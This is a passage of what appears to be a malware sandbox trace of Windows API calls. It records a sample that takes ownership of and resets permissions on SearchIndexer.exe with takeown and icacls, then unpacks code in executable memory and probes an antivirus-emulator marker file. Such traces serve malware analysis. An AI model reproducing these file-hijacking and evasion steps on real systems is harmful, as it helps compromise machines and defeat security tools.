lpUsedDefaultChar=0x0) returned 9 [0180.775] FindNextFileW (in: hFindFile=0x5cfd68, lpFindFileData=0x177f8fc | out: lpFindFileData=0x177f8fc*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x95b0bd0c, ftCreationTime.dwHighDateTime=0x1ca0411, ftLastAccessTime.dwLowDateTime=0x95b0bd0c, ftLastAccessTime.dwHighDateTime=0x1ca0411, ftLastWriteTime.dwLowDateTime=0x88642710, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x7600, dwReserved0=0x5ce300, dwReserved1=0x0, cFileName="ddrawex.dll", cAlternateFileName="")) returned 1 [0180.775] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="DDRAWEX.DLL", cchWideChar=11, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 11 [0180.775] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="DDRAWEX.DLL", cchWideChar=11, lpMultiByteStr=0x49c120, cbMultiByte=11, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="DDRAWEX.DLL", lpUsedDefaultChar=0x0) returned 11 [0180.775] FindNextFileW (in: hFindFile=0x5cfd68, lpFindFileData=0x177f8fc | out: lpFindFileData=0x177f8fc*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb1ba2bbc, ftCreationTime.dwHighDateTime=0x1cb892b, ftLastAccessTime.dwLowDateTime=0xb1ba2bbc, ftLastAccessTime.dwHighDateTime=0x1cb892b, ftLastWriteTime.dwLowDateTime=0xb1bc8d1d, ftLastWriteTime.dwHighDateTime=0x1cb892b, nFileSizeHigh=0x0, nFileSizeLow=0x35e00, dwReserved0=0x5ce300, dwReserved1=0x0, cFileName="defaultlocationcpl.dll", cAlternateFileName="")) returned 1 [0180.775] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="DEFAULTLOCATIONCPL.DLL", cchWideChar=22, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 22 [0180.775] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="DEFAULTLOCATIONCPL.DLL", cchWideChar=22, lpMultiByteStr=0x49c288, cbMultiByte=22, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="DEFAULTLOCATIONCPL.DLL", lpUsedDefaultChar=0x0) returned 22 [0180.775] FindNextFileW (in: hFindFile=0x5cfd68, lpFindFileData=0x177f8fc | out: lpFindFileData=0x177f8fc*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x4e1326ca, ftCreationTime.dwHighDateTime=0x1ca0413, ftLastAccessTime.dwLowDateTime=0x4e1326ca, ftLastAccessTime.dwHighDateTime=0x1ca0413, ftLastWriteTime.dwLowDateTime=0x887257e0, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0xba00, dwReserved0=0x5ce300, dwReserved1=0x0, cFileName="deskadp.dll", cAlternateFileName="")) returned 1 [0180.777] LdrLoadDll (in: SearchPath=0x0, LoadFlags=0x0, Name="shell32.dll", BaseAddress=0x177fb60 | out: BaseAddress=0x177fb60*=0x75cf0000) returned 0x0 [0180.783] RtlFreeHeap (HeapHandle=0x490000, Flags=0x0, BaseAddress=0x49c288) returned 1 [0180.783] RtlFreeHeap (HeapHandle=0x490000, Flags=0x0, BaseAddress=0x49e8c8) returned 1 [0180.783] RtlFreeHeap (HeapHandle=0x490000, Flags=0x0, BaseAddress=0x49e840) returned 1 [0180.783] FindClose (in: hFindFile=0x5cfd68 | out: hFindFile=0x5cfd68) returned 1 [0180.783] RtlFreeHeap (HeapHandle=0x490000, Flags=0x0, BaseAddress=0x49e268) returned 1 [0180.784] RtlAllocateHeap (HeapHandle=0x490000, Flags=0x8, Size=0x184) returned 0x4a7cf8 [0180.784] RtlAllocateHeap (HeapHandle=0x490000, Flags=0x8, Size=0x40) returned 0x49c288 [0180.784] RtlAllocateHeap (HeapHandle=0x490000, Flags=0x8, Size=0x40) returned 0x49c120 [0180.784] RtlAllocateHeap (HeapHandle=0x490000, Flags=0x8, Size=0x40) returned 0x49c240 [0180.784] RtlAllocateHeap (HeapHandle=0x490000, Flags=0x8, Size=0x40) returned 0x49c0d8 [0180.784] RtlAllocateHeap (HeapHandle=0x490000, Flags=0x8, Size=0x40) returned 0x49c900 [0180.784] RtlAllocateHeap (HeapHandle=0x490000, Flags=0x8, Size=0x40) returned 0x49c948 [0180.784] RtlAllocateHeap (HeapHandle=0x490000, Flags=0x8, Size=0x40) returned 0x49c990 [0180.784] RtlAllocateHeap (HeapHandle=0x490000, Flags=0x8, Size=0x40) returned 0x49c9d8 [0180.784] RtlAllocateHeap (HeapHandle=0x490000, Flags=0x8, Size=0x40) returned 0x49ca20 [0180.784] RtlAllocateHeap (HeapHandle=0x490000, Flags=0x8, Size=0x40) returned 0x49ca68 [0180.784] RtlAllocateHeap (HeapHandle=0x490000, Flags=0x8, Size=0x40) returned 0x49cab0 [0180.784] RtlAllocateHeap (HeapHandle=0x490000, Flags=0x8, Size=0x40) returned 0x49caf8 [0180.784] RtlAllocateHeap (HeapHandle=0x490000, Flags=0x8, Size=0x40) returned 0x49cb40 [0180.784] RtlAllocateHeap (HeapHandle=0x490000, Flags=0x8, Size=0x40) returned 0x49cb88 [0180.784] RtlAllocateHeap (HeapHandle=0x490000, Flags=0x8, Size=0x40) returned 0x49cbd0 [0180.784] RtlAllocateHeap (HeapHandle=0x490000, Flags=0x8, Size=0x40) returned 0x4a7ea0 [0180.784] CommandLineToArgvW (in: lpCmdLine="C:\\Windows\\System32\\alg.exe", pNumArgs=0x177fb8c | out: pNumArgs=0x177fb8c) returned 0x5c1e88*="C:\\Windows\\System32\\alg.exe" [0180.784] RtlAllocateHeap (HeapHandle=0x490000, Flags=0x8, Size=0x10) returned 0x49d5e8 [0180.784] RtlAllocateHeap (HeapHandle=0x490000, Flags=0x8, Size=0x8) returned 0x49d288 [0180.784] RtlAllocateHeap (HeapHandle=0x490000, Flags=0x8, Size=0x80) returned 0x49e268 [0180.784] LocalFree (hMem=0x5c1e88) returned 0x0 [0180.784] Wow64DisableWow64FsRedirection (in: OldValue=0x177fb88 | out: OldValue=0x177fb88*=0x0) returned 1 [0180.784] RtlAllocateHeap (HeapHandle=0x490000, Flags=0x8, Size=0x800) returned 0x4a8e88 [0180.784] GetModuleFileNameW (in: hModule=0x0, lpFilename=0x4a8e88, nSize=0x200 | out: lpFilename="C:\\Windows\\System32\\alg.exe" (normalized: "c:\\windows\\system32\\alg.exe")) returned 0x1b [0180.784] RtlAllocateHeap (HeapHandle=0x490000, Flags=0x8, Size=0x80) returned 0x49e840 [0180.784] RtlAllocateHeap (HeapHandle=0x490000, Flags=0x8, Size=0x80) returned 0x49e8c8 [0180.784] RtlFreeHeap (HeapHandle=0x490000, Flags=0x0, BaseAddress=0x49e840) returned 1 [0180.784] RtlFreeHeap (HeapHandle=0x490000, Flags=0x0, BaseAddress=0x49e8c8) returned 1 [0180.784] RtlAllocateHeap (HeapHandle=0x490000, Flags=0x8, Size=0x80) returned 0x49e8c8 [0180.784] RtlAllocateHeap (HeapHandle=0x490000, Flags=0x8, Size=0x100) returned 0x4a9690 [0180.785] GetEnvironmentVariableW (in: lpName="COMPUTERNAME", lpBuffer=0x4a9690, nSize=0x40 | out: lpBuffer="XDUWTFONO") returned 0x9 [0180.785] RtlFreeHeap (HeapHandle=0x490000, Flags=0x0, BaseAddress=0x4a9690) returned 1 [0180.785] RtlFreeHeap (HeapHandle=0x490000, Flags=0x0, BaseAddress=0x49e8c8) returned 1 [0180.785] RtlAllocateHeap (HeapHandle=0x490000, Flags=0x8, Size=0x80) returned 0x49e8c8 [0180.785] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="XDUWTFONO", cchWideChar=9, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 9 [0180.785] RtlAllocateHeap (HeapHandle=0x490000, Flags=0x8, Size=0x40) returned 0x4a7ee8 [0180.785] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="XDUWTFONO", cchWideChar=9, lpMultiByteStr=0x4a7ee8, cbMultiByte=9, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="XDUWTFONO", lpUsedDefaultChar=0x0) returned 9 [0180.785] RtlAllocateHeap (HeapHandle=0x490000, Flags=0x8, Size=0x40) returned 0x4a7f30 [0180.785] RtlFreeHeap (HeapHandle=0x490000, Flags=0x0, BaseAddress=0x4a7ee8) returned 1 [0180.785] RtlFreeHeap (HeapHandle=0x490000, Flags=0x0, BaseAddress=0x49e8c8) returned 1 [0180.785] RtlAllocateHeap (HeapHandle=0x490000, Flags=0x8, Size=0x40) returned 0x4a7ee8 [0180.785] RtlAllocateHeap (HeapHandle=0x490000, Flags=0x8, Size=0x40) returned 0x4a7f78 [0180.785] RtlAllocateHeap (HeapHandle=0x490000, Flags=0x8, Size=0x40) returned 0x4a7fc0 [0180.785] RtlAllocateHeap (HeapHandle=0x490000, Flags=0x8, Size=0x40) returned 0x4a8008 [0180.785] RtlAllocateHeap (HeapHandle=0x490000, Flags=0x8, Size=0x40) returned 0x4a8050 [0180.785] RtlAllocateHeap (HeapHandle=0x490000, Flags=0x8, Size=0x40) returned 0x4a8098 [0180.785] RtlAllocateHeap (HeapHandle=0x490000, Flags=0x8, Size=0x5000) returned 0x4a2850 [0180.785] RtlAllocateHeap (HeapHandle=0x490000, Flags=0x8, Size=0x40) returned 0x4a80e0 [0180.785] RtlFreeHeap (HeapHandle=0x490000, Flags=0x0, BaseAddress=0x4a80e0) returned 1 [0180.785] ConvertStringSecurityDescriptorToSecurityDescriptorW () returned 0x1 [0180.786] RtlFreeHeap (HeapHandle=0x490000, Flags=0x0, BaseAddress=0x4a2850) returned 1 [0180.786] GetSecurityDescriptorSacl (in: pSecurityDescriptor=0x5c8d68, lpbSaclPresent=0x177f9bc, pSacl=0x177fa10, lpbSaclDefaulted=0x177f9bc | out: lpbSaclPresent=0x177f9bc, pSacl=0x177fa10, lpbSaclDefaulted=0x177f9bc) returned 1 [0180.786] RtlAllocateHeap (HeapHandle=0x490000, Flags=0x8, Size=0x40) returned 0x4a80e0 [0180.786] CreateEventA (lpEventAttributes=0x177fa04, bManualReset=1, bInitialState=0, lpName="") returned 0x110 [0180.786] RtlFreeHeap (HeapHandle=0x490000, Flags=0x0, BaseAddress=0x4a80e0) returned 1 [0180.786] GetLastError () returned 0x0 [0180.786] LocalFree (hMem=0x5c8d68) returned 0x0 [0180.786] RtlAllocateHeap (HeapHandle=0x490000, Flags=0x8, Size=0x40) returned 0x4a80e0 [0180.786] CryptAcquireContextW (in: phProv=0x177f9f4, szContainer=0x0, szProvider=0x0, dwProvType=0x18, dwFlags=0xf0000000 | out: phProv=0x177f9f4*=0x5e8668) returned 1 [0180.787] CryptCreateHash (in: hProv=0x5e8668, Algid=0x8003, hKey=0x0, dwFlags=0x0, phHash=0x177f9f4 | out: phHash=0x177f9f4) returned 1 [0180.787] CryptHashData (hHash=0x5cfd68, pbData=0x4a7f78, dwDataLen=0xb, dwFlags=0x0) returned 1 [0180.787] CryptGetHashParam (in: hHash=0x5cfd68, dwParam=0x4, pbData=0x177f9f8, pdwDataLen=0x177fa04, dwFlags=0x0 | out: pbData=0x177f9f8, pdwDataLen=0x177fa04) returned 1 [0180.787] CryptGetHashParam (in: hHash=0x5cfd68, dwParam=0x2, pbData=0x4a80e0, pdwDataLen=0x177f9f8, dwFlags=0x0 | out: pbData=0x4a80e0, pdwDataLen=0x177f9f8) returned 1 [0180.787] RtlAllocateHeap (HeapHandle=0x490000, Flags=0x8, Size=0x40) returned 0x4a8128 [0180.787] CryptDestroyHash (hHash=0x5cfd68) returned 1 [0180.787] CryptReleaseContext (hProv=0x5e8668, dwFlags=0x0) returned 1 [0180.787] RtlFreeHeap (HeapHandle=0x490000, Flags=0x0, BaseAddress=0x4a80e0) returned 1 [0180.787] RtlAllocateHeap (HeapHandle=0x490000, Flags=0x8, Size=0x40) returned 0x4a80e0 [0180.787] RtlAllocateHeap (HeapHandle=0x490000, Flags=0x8, Size=0x40) returned 0x4a8170 [0180.787] RtlFreeHeap (HeapHandle=0x490000, Flags=0x0, BaseAddress=0x4a80e0) returned 1 [0180.787] RtlAllocateHeap (HeapHandle=0x490000, Flags=0x8, Size=0x40) returned 0x4a80e0 [0180.787] RtlFreeHeap (HeapHandle=0x490000, Flags=0x0, BaseAddress=0x4a80e0) returned 1 [0180.787] RtlFreeHeap (HeapHandle=0x490000, Flags=0x0, BaseAddress=0x4a8170) returned 1 [0180.787] RtlFreeHeap (HeapHandle=0x490000, Flags=0x0, BaseAddress=0x4a8128) returned 1 [0180.787] RtlAllocateHeap (HeapHandle=0x490000, Flags=0x8, Size=0x40) returned 0x4a8128 [0180.787] OpenEventA (dwDesiredAccess=0x100002, bInheritHandle=0, lpName="Global\\{92EAD6E2-16CB-825D-3763-CAC9D6ED414E}") returned 0x128 [0180.788] GetLastError () returned 0x0 [0180.788] RtlAllocateHeap (HeapHandle=0x490000, Flags=0x8, Size=0x40) returned 0x4a8170 [0180.788] CryptAcquireContextW (in: phProv=0x177f9f4, szContainer=0x0, szProvider=0x0, dwProvType=0x18, dwFlags=0xf0000000 | out: phProv=0x177f9f4*=0x5e8668) returned 1 [0180.788] CryptCreateHash (in: hProv=0x5e8668, Algid=0x8003, hKey=0x0, dwFlags=0x0, phHash=0x177f9f4 | out: phHash=0x177f9f4) returned 1 [0180.788] CryptHashData (hHash=0x5cfd68, pbData=0x4a7f78, dwDataLen=0xb, dwFlags=0x0) returned 1 [0180.788] CryptGetHashParam (in: hHash=0x5cfd68, dwParam=0x4, pbData=0x177f9f8, pdwDataLen=0x177fa04, dwFlags=0x0 | out: pbData=0x177f9f8, pdwDataLen=0x177fa04) returned 1 [0180.788] CryptGetHashParam (in: hHash=0x5cfd68, dwParam=0x2, pbData=0x4a8170, pdwDataLen=0x177f9f8, dwFlags=0x0 | out: pbData=0x4a8170, pdwDataLen=0x177f9f8) returned 1 [0180.788] RtlAllocateHeap (HeapHandle=0x490000, Flags=0x8, Size=0x40) returned 0x4a80e0 [0180.788] CryptDestroyHash (hHash=0x5cfd68) returned 1 [0180.788] CryptReleaseContext (hProv=0x5e8668, dwFlags=0x0) returned 1 [0180.788] RtlFreeHeap (HeapHandle=0x490000, Flags=0x0, BaseAddress=0x4a8170) returned 1 [0180.789] RtlAllocateHeap (HeapHandle=0x490000, Flags=0x8, Size=0x40) returned 0x4a8170 [0180.789] RtlAllocateHeap (HeapHandle=0x490000, Flags=0x8, Size=0x40) returned 0x4a81b8 [0180.789] RtlFreeHeap (HeapHandle=0x490000, Flags=0x0, BaseAddress=0x4a8170) returned 1 [0180.789] RtlAllocateHeap (HeapHandle=0x490000, Flags=0x8, Size=0x40) returned 0x4a8170 [0180.789] RtlFreeHeap (HeapHandle=0x490000, Flags=0x0, BaseAddress=0x4a8170) returned 1 [0180.789] RtlFreeHeap (HeapHandle=0x490000, Flags=0x0, BaseAddress=0x4a81b8) returned 1 [0180.789] RtlFreeHeap (HeapHandle=0x490000, Flags=0x0, BaseAddress=0x4a80e0) returned 1 [0180.789] RtlAllocateHeap (HeapHandle=0x490000, Flags=0x8, Size=0x40) returned 0x4a80e0 [0180.789] RtlAllocateHeap (HeapHandle=0x490000, Flags=0x8, Size=0x40) returned 0x4a81b8 [0180.789] OpenMutexA (dwDesiredAccess=0x100002, bInheritHandle=0, lpName="Global\\{FD64C8AB-F74D-C8D4-F31D-96A1BB45705E}") returned 0x0 [0180.789] RtlFreeHeap (HeapHandle=0x490000, Flags=0x0, BaseAddress=0x4a81b8) returned 1 [0180.789] GetLastError () returned 0x5 [0180.789] RtlAllocateHeap (HeapHandle=0x490000, Flags=0x8, Size=0x40) returned 0x4a81b8 [0180.789] OpenMutexA (dwDesiredAccess=0x2, bInheritHandle=0, lpName="Global\\{FD64C8AB-F74D-C8D4-F31D-96A1BB45705E}") returned 0x0 [0180.789] RtlFreeHeap (HeapHandle=0x490000, Flags=0x0, BaseAddress=0x4a81b8) returned 1 [0180.789] RtlAllocateHeap (HeapHandle=0x490000, Flags=0x8, Size=0x40) returned 0x4a81b8 [0180.789] OpenMutexA (dwDesiredAccess=0x100000, bInheritHandle=0, lpName="Global\\{FD64C8AB-F74D-C8D4-F31D-96A1BB45705E}") returned 0x12c [0180.789] RtlFreeHeap (HeapHandle=0x490000, Flags=0x0, BaseAddress=0x4a81b8) returned 1 [0180.789] SetEvent (hEvent=0x128) returned 1 [0180.789] WaitForSingleObject (hHandle=0x12c, dwMilliseconds=0xffffffff) Thread: id = 1058 os_tid = 0x938 Process: id = "76" image_name = "takeown.exe" filename = "c:\\windows\\system32\\takeown.exe" page_root = "0x4a689000" os_pid = "0x434" os_integrity_level = "0x3000" os_privileges = "0x60800000" monitor_reason = "child_process" parent_id = "42" os_parent_pid = "0x794" cmd_line = "C:\\Windows\\system32\\takeown.exe /F C:\\Windows\\system32\\SearchIndexer.exe" cur_dir = "C:\\Windows\\system32\\" os_username = "XDUWTFONO\\5p5NrGJn0jS HALPmcxz" bitness = "64" os_groups = "XDUWTFONO\\Domain Users" [0x7], "Everyone" [0x7], "BUILTIN\\Administrators" [0xf], "BUILTIN\\Users" [0x7], "NT AUTHORITY\\INTERACTIVE" [0x7], "CONSOLE LOGON" [0x7], "NT AUTHORITY\\Authenticated Users" [0x7], "NT AUTHORITY\\This Organization" [0x7], "NT AUTHORITY\\Logon Session 00000000:0000de59" [0xc0000007], "LOCAL" [0x7], "NT AUTHORITY\\NTLM Authentication" [0x7] Thread: id = 792 os_tid = 0x6e0 Thread: id = 793 os_tid = 0x2f8 Process: id = "77" image_name = "icacls.exe" filename = "c:\\windows\\system32\\icacls.exe" page_root = "0x4a48e000" os_pid = "0x704" os_integrity_level = "0x3000" os_privileges = "0x60800000" monitor_reason = "child_process" parent_id = "42" os_parent_pid = "0x794" cmd_line = "C:\\Windows\\system32\\icacls.exe C:\\Windows\\system32\\SearchIndexer.exe /reset" cur_dir = "C:\\Windows\\system32\\" os_username = "XDUWTFONO\\5p5NrGJn0jS HALPmcxz" bitness = "64" os_groups = "XDUWTFONO\\Domain Users" [0x7], "Everyone" [0x7], "BUILTIN\\Administrators" [0xf], "BUILTIN\\Users" [0x7], "NT AUTHORITY\\INTERACTIVE" [0x7], "CONSOLE LOGON" [0x7], "NT AUTHORITY\\Authenticated Users" [0x7], "NT AUTHORITY\\This Organization" [0x7], "NT AUTHORITY\\Logon Session 00000000:0000de59" [0xc0000007], "LOCAL" [0x7], "NT AUTHORITY\\NTLM Authentication" [0x7] Thread: id = 794 os_tid = 0x6fc Process: id = "78" image_name = "searchindexer.exe" filename = "c:\\windows\\system32\\searchindexer.exe" page_root = "0x485b1000" os_pid = "0x5f4" os_integrity_level = "0x4000" os_privileges = "0xe60b1e890" monitor_reason = "child_process" parent_id = "46" os_parent_pid = "0x1a8" cmd_line = "C:\\Windows\\system32\\SearchIndexer.exe" cur_dir = "C:\\Windows\\system32\\" os_username = "NT AUTHORITY\\SYSTEM" bitness = "32" os_groups = "Everyone" [0x7], "BUILTIN\\Users" [0x7], "NT AUTHORITY\\SERVICE" [0x7], "CONSOLE LOGON" [0x7], "NT AUTHORITY\\Authenticated Users" [0x7], "NT AUTHORITY\\This Organization" [0x7], "NT SERVICE\\WSearch" [0xe], "NT AUTHORITY\\Logon Session 00000000:00031a77" [0xc000000f], "LOCAL" [0x7], "BUILTIN\\Administrators" [0xe] Thread: id = 795 os_tid = 0x668 [0181.874] GetTimeZoneInformation (in: lpTimeZoneInformation=0x34fbf0 | out: lpTimeZoneInformation=0x34fbf0) returned 0x2 [0181.923] GetCurrentProcess () returned 0xffffffff [0181.924] GetExitCodeProcess (in: hProcess=0xffffffff, lpExitCode=0x34fbdc | out: lpExitCode=0x34fbdc*=0x103) returned 1 [0181.924] GetForegroundWindow () returned 0x0 [0181.924] GetCaretBlinkTime () returned 0x1f4 [0181.924] GetFileType (hFile=0xf710cd) returned 0x0 [0181.924] GetConsoleProcessList (in: lpdwProcessList=0x34fc9c, dwProcessCount=0x1 | out: lpdwProcessList=0x34fc9c) returned 0x0 [0181.924] VarCyFromUI8 (in: ui64In=0xdf39010a, pcyOut=0x34fba8 | out: pcyOut=0x34fba8) returned 0x0 [0181.925] IsHungAppWindow (hwnd=0xbb220d) returned 0 [0181.925] GetCommState (in: hFile=0x3b268c, lpDCB=0x34fa10 | out: lpDCB=0x34fa10) returned 0 [0181.925] PlayEnhMetaFileRecord (hdc=0xeea41c, pht=0x34fa0c, pmr=0x34f9f8, cht=0x353) returned 0 [0181.925] CloseClipboard () returned 0 [0181.926] CoUninitialize () [0181.926] CreateMutexW (lpMutexAttributes=0x0, bInitialOwner=0, lpName="MutexHelper") returned 0xa0 [0181.926] ReleaseMutex (hMutex=0xa0) returned 0 [0181.926] CloseHandle (hObject=0xa0) returned 1 [0181.926] IsHungAppWindow (hwnd=0xbb220d) returned 0 [0181.926] GetCommState (in: hFile=0x3b268c, lpDCB=0x34fa10 | out: lpDCB=0x34fa10) returned 0 [0181.926] PlayEnhMetaFileRecord (hdc=0xeea41c, pht=0x34fa0c, pmr=0x34f9f8, cht=0x353) returned 0 [0181.926] CloseClipboard () returned 0 [0181.926] CoUninitialize () [0181.926] CreateMutexW (lpMutexAttributes=0x0, bInitialOwner=0, lpName="MutexHelper") returned 0xa0 [0181.926] ReleaseMutex (hMutex=0xa0) returned 0 [0181.926] CloseHandle (hObject=0xa0) returned 1 [0181.926] GetLocalTime (in: lpSystemTime=0x34fcac | out: lpSystemTime=0x34fcac*(wYear=0x7e3, wMonth=0xb, wDayOfWeek=0x5, wDay=0x8, wHour=0x5, wMinute=0x17, wSecond=0x37, wMilliseconds=0xc2)) [0181.927] LdrGetProcedureAddress (in: BaseAddress=0x77000000, Name="VirtualAlloc", Ordinal=0x0, ProcedureAddress=0x34f72c | out: ProcedureAddress=0x34f72c*=0x77011856) returned 0x0 [0181.927] VirtualAlloc (lpAddress=0x0, dwSize=0x16000, flAllocationType=0x1000, flProtect=0x4) returned 0x100000 [0182.039] LdrGetProcedureAddress (in: BaseAddress=0x77000000, Name="VirtualAlloc", Ordinal=0x0, ProcedureAddress=0x34f72c | out: ProcedureAddress=0x34f72c*=0x77011856) returned 0x0 [0182.039] VirtualAlloc (lpAddress=0x0, dwSize=0x5000, flAllocationType=0x1000, flProtect=0x40) returned 0xd0000 [0182.039] LdrGetProcedureAddress (in: BaseAddress=0x77000000, Name="LoadLibraryA", Ordinal=0x0, ProcedureAddress=0x34f7c4 | out: ProcedureAddress=0x34f7c4*=0x770149d7) returned 0x0 [0182.040] LdrGetProcedureAddress (in: BaseAddress=0x77000000, Name="GetProcAddress", Ordinal=0x0, ProcedureAddress=0x34f7c4 | out: ProcedureAddress=0x34f7c4*=0x77011222) returned 0x0 [0182.040] LdrGetProcedureAddress (in: BaseAddress=0x77000000, Name="VirtualAlloc", Ordinal=0x0, ProcedureAddress=0x34f7c4 | out: ProcedureAddress=0x34f7c4*=0x77011856) returned 0x0 [0182.040] LdrGetProcedureAddress (in: BaseAddress=0x77000000, Name="VirtualProtect", Ordinal=0x0, ProcedureAddress=0x34f7c4 | out: ProcedureAddress=0x34f7c4*=0x7701435f) returned 0x0 [0182.040] LoadLibraryA (lpLibFileName="KERNEL32.dll") returned 0x77000000 [0182.040] GetProcAddress (hModule=0x77000000, lpProcName="FlsFree") returned 0x7701359f [0182.040] GetProcAddress (hModule=0x77000000, lpProcName="SetUnhandledExceptionFilter") returned 0x770187c9 [0182.040] VirtualProtect (in: lpAddress=0xe70000, dwSize=0x46000, flNewProtect=0x40, lpflOldProtect=0x34f878 | out: lpflOldProtect=0x34f878*=0x2) returned 1 [0182.099] VirtualAlloc (lpAddress=0x0, dwSize=0x18000, flAllocationType=0x1000, flProtect=0x40) returned 0x120000 [0182.102] LoadLibraryA (lpLibFileName="KERNEL32.dll") returned 0x77000000 [0182.102] GetProcAddress (hModule=0x77000000, lpProcName="CreateFileW") returned 0x77013f5c [0182.102] GetProcAddress (hModule=0x77000000, lpProcName="ExitProcess") returned 0x77017a10 [0182.102] SetUnhandledExceptionFilter (lpTopLevelExceptionFilter=0x0) returned 0x0 [0184.156] CreateFileW (lpFileName="C:\\aaa_TouchMeNot_.txt" (normalized: "c:\\aaa_touchmenot_.txt"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0184.168] RtlCreateHeap (Flags=0x2, HeapBase=0x0, ReserveSize=0x0, CommitSize=0x1234, Lock=0x0, Parameters=0x0) returned 0xfd0000 [0184.178] RtlAllocateHeap (HeapHandle=0xfd0000, Flags=0x8, Size=0x104) returned 0xfd07d0 [0184.178] RtlAllocateHeap (HeapHandle=0xfd0000, Flags=0x8, Size=0x80) returned 0xfd08e0 [0184.178] RtlAllocateHeap (HeapHandle=0xfd0000, Flags=0x8, Size=0x80) returned 0xfd0968 [0184.178] RtlAllocateHeap (HeapHandle=0xfd0000, Flags=0x8, Size=0x80) returned 0xfd09f0 [0184.178] RtlAllocateHeap (HeapHandle=0xfd0000, Flags=0x8, Size=0x80) returned 0xfd0a78 [0184.178] RtlAllocateHeap (HeapHandle=0xfd0000, Flags=0x8, Size=0x80) returned 0xfd0b00 [0184.178] RtlAllocateHeap (HeapHandle=0xfd0000, Flags=0x8, Size=0x80) returned 0xfd0b88 [0184.178] RtlAllocateHeap (HeapHandle=0xfd0000, Flags=0x8, Size=0x80) returned 0xfd0c10 [0184.178] RtlAllocateHeap (HeapHandle=0xfd0000, Flags=0x8, Size=0x80) returned 0xfd0c98 [0184.178] RtlAllocateHeap (HeapHandle=0xfd0000, Flags=0x8, Size=0x80) returned 0xfd0d20 [0184.178] RtlAllocateHeap (HeapHandle=0xfd0000, Flags=0x8, Size=0x80) returned 0xfd0da8 [0184.178] RtlAllocateHeap (HeapHandle=0xfd0000, Flags=0x8, Size=0x80) returned 0xfd0e30 [0184.178] RtlAllocateHeap (HeapHandle=0xfd0000, Flags=0x8, Size=0x80) returned 0xfd0eb8 [0184.178] RtlAllocateHeap (HeapHandle=0xfd0000, Flags=0x8, Size=0x80) returned 0xfd0f40 [0184.178] RtlAllocateHeap (HeapHandle=0xfd0000, Flags=0x8, Size=0x80) returned 0xfd0fc8 [0184.178] RtlAllocateHeap (HeapHandle=0xfd0000, Flags=0x8, Size=0x80) returned 0xfd1050 [0184.178] RtlAllocateHeap (HeapHandle=0xfd0000, Flags=0x8, Size=0x80) returned 0xfd10d8 [0184.178] RtlAllocateHeap (HeapHandle=0xfd0000, Flags=0x8, Size=0x400) returned 0xfd1160 [0184.178] RtlCreateHeap (Flags=0x2, HeapBase=0x0, ReserveSize=0x0, CommitSize=0x1234, Lock=0x0, Parameters=0x0) returned 0x240000 [0184.178] RtlAllocateHeap (HeapHandle=0x240000, Flags=0x8, Size=0x80) returned 0x2407d0 [0184.178] RtlAllocateHeap (HeapHandle=0x240000, Flags=0x8, Size=0x80) returned 0x240858 [0184.178] RtlAllocateHeap (HeapHandle=0x240000, Flags=0x8, Size=0x80) returned 0x2408e0 [0184.178] RtlAllocateHeap (HeapHandle=0x240000, Flags=0x8, Size=0x184) returned 0x240968 [0184.178] RtlAllocateHeap (HeapHandle=0x240000, Flags=0x8, Size=0x40) returned 0x240af8 [0184.178] RtlAllocateHeap (HeapHandle=0x240000, Flags=0x8, Size=0x40) returned 0x240b40 [0184.178] RtlAllocateHeap (HeapHandle=0x240000, Flags=0x8, Size=0x40) returned 0x240b88 [0184.178] RtlAllocateHeap (HeapHandle=0x240000, Flags=0x8, Size=0x40) returned 0x240bd0 [0184.178] RtlAllocateHeap (HeapHandle=0x240000, Flags=0x8, Size=0x40) returned 0x240c18 [0184.179] RtlAllocateHeap (HeapHandle=0x240000, Flags=0x8, Size=0x40) returned 0x240c60 [0184.179] RtlAllocateHeap (HeapHandle=0x240000, Flags=0x8, Size=0x40) returned 0x240ca8 [0184.179] RtlAllocateHeap (HeapHandle=0x240000, Flags=0x8, Size=0x40) returned 0x240cf0 [0184.179] RtlAllocateHeap (HeapHandle=0x240000, Flags=0x8, Size=0x40) returned 0x240d38 [0184.179] RtlAllocateHeap (HeapHandle=0x240000, Flags=0x8, Size=0x40) returned 0x240d80 [0184.179] RtlAllocateHeap (HeapHandle=0x240000, Flags=0x8, Size=0x40) returned 0x240dc8 [0184.179] RtlAllocateHeap (HeapHandle=0x240000, Flags=0x8, Size=0x40) returned 0x240e10 [0184.179] RtlAllocateHeap (HeapHandle=0x240000, Flags=0x8, Size=0x40) returned 0x240e58 [0184.179] RtlAllocateHeap (HeapHandle=0x240000, Flags=0x8, Size=0x40) returned 0x240ea0 [0184.179] RtlAllocateHeap (HeapHandle=0x240000, Flags=0x8, Size=0x40) returned 0x240ee8 [0184.179] RtlAllocateHeap (HeapHandle=0x240000, Flags=0x8, Size=0x40) returned 0x240f30 [0184.179] GetModuleFileNameW (in: hModule=0x0, lpFilename=0x34f3bc, nSize=0x1000 | out: lpFilename="C:\\Windows\\system32\\SearchIndexer.exe" 